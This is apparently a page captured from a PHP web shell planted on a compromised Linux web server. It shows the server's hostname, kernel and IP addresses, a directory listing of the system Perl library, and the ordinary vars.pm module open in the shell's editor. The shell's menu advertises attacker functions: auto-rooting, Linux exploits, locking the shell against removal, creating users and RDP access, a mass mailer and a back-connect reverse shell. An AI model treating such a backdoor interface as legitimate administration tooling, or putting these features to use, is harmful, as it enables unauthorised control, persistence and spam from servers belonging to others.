Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
App
[ DIR ]
drwxr-xr-x
?;
Archive
[ DIR ]
drwxr-xr-x
?;
Attribute
[ DIR ]
drwxr-xr-x
?;
B
[ DIR ]
drwxr-xr-x
?;
CPAN
[ DIR ]
drwxr-xr-x
?;
Class
[ DIR ]
drwxr-xr-x
?;
Compress
[ DIR ]
drwxr-xr-x
?;
Config
[ DIR ]
drwxr-xr-x
?;
DBM_Filter
[ DIR ]
drwxr-xr-x
?;
Devel
[ DIR ]
drwxr-xr-x
?;
Encode
[ DIR ]
drwxr-xr-x
?;
ExtUtils
[ DIR ]
drwxr-xr-x
?;
File
[ DIR ]
drwxr-xr-x
?;
Filter
[ DIR ]
drwxr-xr-x
?;
Getopt
[ DIR ]
drwxr-xr-x
?;
HTTP
[ DIR ]
drwxr-xr-x
?;
I18N
[ DIR ]
drwxr-xr-x
?;
IO
[ DIR ]
drwxr-xr-x
?;
IPC
[ DIR ]
drwxr-xr-x
?;
JSON
[ DIR ]
drwxr-xr-x
?;
LWP
[ DIR ]
drwxr-xr-x
?;
Locale
[ DIR ]
drwxr-xr-x
?;
Log
[ DIR ]
drwxr-xr-x
?;
Math
[ DIR ]
drwxr-xr-x
?;
Memoize
[ DIR ]
drwxr-xr-x
?;
Module
[ DIR ]
drwxr-xr-x
?;
Net
[ DIR ]
drwxr-xr-x
?;
Object
[ DIR ]
drwxr-xr-x
?;
Package
[ DIR ]
drwxr-xr-x
?;
Perl
[ DIR ]
drwxr-xr-x
?;
PerlIO
[ DIR ]
drwxr-xr-x
?;
Pod
[ DIR ]
drwxr-xr-x
?;
Search
[ DIR ]
drwxr-xr-x
?;
Term
[ DIR ]
drwxr-xr-x
?;
Test
[ DIR ]
drwxr-xr-x
?;
Text
[ DIR ]
drwxr-xr-x
?;
Thread
[ DIR ]
drwxr-xr-x
?;
Tie
[ DIR ]
drwxr-xr-x
?;
Time
[ DIR ]
drwxr-xr-x
?;
URI
[ DIR ]
drwxr-xr-x
?;
Unicode
[ DIR ]
drwxr-xr-x
?;
User
[ DIR ]
drwxr-xr-x
?;
Version
[ DIR ]
drwxr-xr-x
?;
encoding
[ DIR ]
drwxr-xr-x
?;
overload
[ DIR ]
drwxr-xr-x
?;
pod
[ DIR ]
drwxr-xr-x
?;
unicore
[ DIR ]
drwxr-xr-x
?;
vendor_perl
[ DIR ]
drwxr-xr-x
?;
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
14.66
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.87
KB
-rw-r--r--
CORE.pod
2.7
KB
-rw-r--r--
CPAN.pm
132.91
KB
-rw-r--r--
DB.pm
18.43
KB
-rw-r--r--
DBM_Filter.pm
14.06
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.34
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
LWP.pm
21.15
KB
-rw-r--r--
Memoize.pm
34.4
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.19
KB
-rw-r--r--
Safe.pm
24.03
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.97
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.97
KB
-rw-r--r--
URI.pm
33.01
KB
-rw-r--r--
XSLoader.pm
9.99
KB
-rw-r--r--
_charnames.pm
29.8
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.37
KB
-rw-r--r--
bigint.pm
17.44
KB
-rw-r--r--
bignum.pm
18.23
KB
-rw-r--r--
bigrat.pm
14.11
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
2.96
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
19.22
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
17.96
KB
-rw-r--r--
dumpvar.pl
14.96
KB
-rw-r--r--
feature.pm
11.06
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
1.13
KB
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
2.72
KB
-rw-r--r--
lwpcook.pod
9.05
KB
-rw-r--r--
lwptut.pod
24.89
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.66
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
302.79
KB
-rw-r--r--
perlfaq.pm
94
B
-rw-r--r--
sigtrap.pm
7.46
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
strict.pm
3.84
KB
-rw-r--r--
subs.pm
845
B
-rw-r--r--
utf8.pm
7.6
KB
-rw-r--r--
utf8_heavy.pl
30.1
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
vmsish.pm
4.22
KB
-rw-r--r--
warnings.pm
18.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vars.pm
package vars; use 5.006; our $VERSION = '1.02'; use warnings::register; use strict qw(vars subs); sub import { my $callpack = caller; my (undef, @imports) = @_; my ($sym, $ch); foreach (@imports) { if (($ch, $sym) = /^([\$\@\%\*\&])(.+)/) { if ($sym =~ /\W/) { # time for a more-detailed check-up if ($sym =~ /^\w+[[{].*[]}]$/) { require Carp; Carp::croak("Can't declare individual elements of hash or array"); } elsif (warnings::enabled() and length($sym) == 1 and $sym !~ tr/a-zA-Z//) { warnings::warn("No need to declare built-in vars"); } elsif (($^H &= strict::bits('vars'))) { require Carp; Carp::croak("'$_' is not a valid variable name under strict vars"); } } $sym = "${callpack}::$sym" unless $sym =~ /::/; *$sym = ( $ch eq "\$" ? \$$sym : $ch eq "\@" ? \@$sym : $ch eq "\%" ? \%$sym : $ch eq "\*" ? \*$sym : $ch eq "\&" ? \&$sym : do { require Carp; Carp::croak("'$_' is not a valid variable name"); }); } else { require Carp; Carp::croak("'$_' is not a valid variable name"); } } }; 1; __END__ =head1 NAME vars - Perl pragma to predeclare global variable names (obsolete) =head1 SYNOPSIS use vars qw($frob @mung %seen); =head1 DESCRIPTION NOTE: For variables in the current package, the functionality provided by this pragma has been superseded by C<our> declarations, available in Perl v5.6.0 or later. See L<perlfunc/our>. This will predeclare all the variables whose names are in the list, allowing you to use them under "use strict", and disabling any typo warnings. Unlike pragmas that affect the C<$^H> hints variable, the C<use vars> and C<use subs> declarations are not BLOCK-scoped. They are thus effective for the entire file in which they appear. You may not rescind such declarations with C<no vars> or C<no subs>. Packages such as the B<AutoLoader> and B<SelfLoader> that delay loading of subroutines within packages can create problems with package lexicals defined using C<my()>. While the B<vars> pragma cannot duplicate the effect of package lexicals (total transparency outside of the package), it can act as an acceptable substitute by pre-declaring global symbols, ensuring their availability to the later-loaded routines. See L<perlmodlib/Pragmatic Modules>. =cut
Close
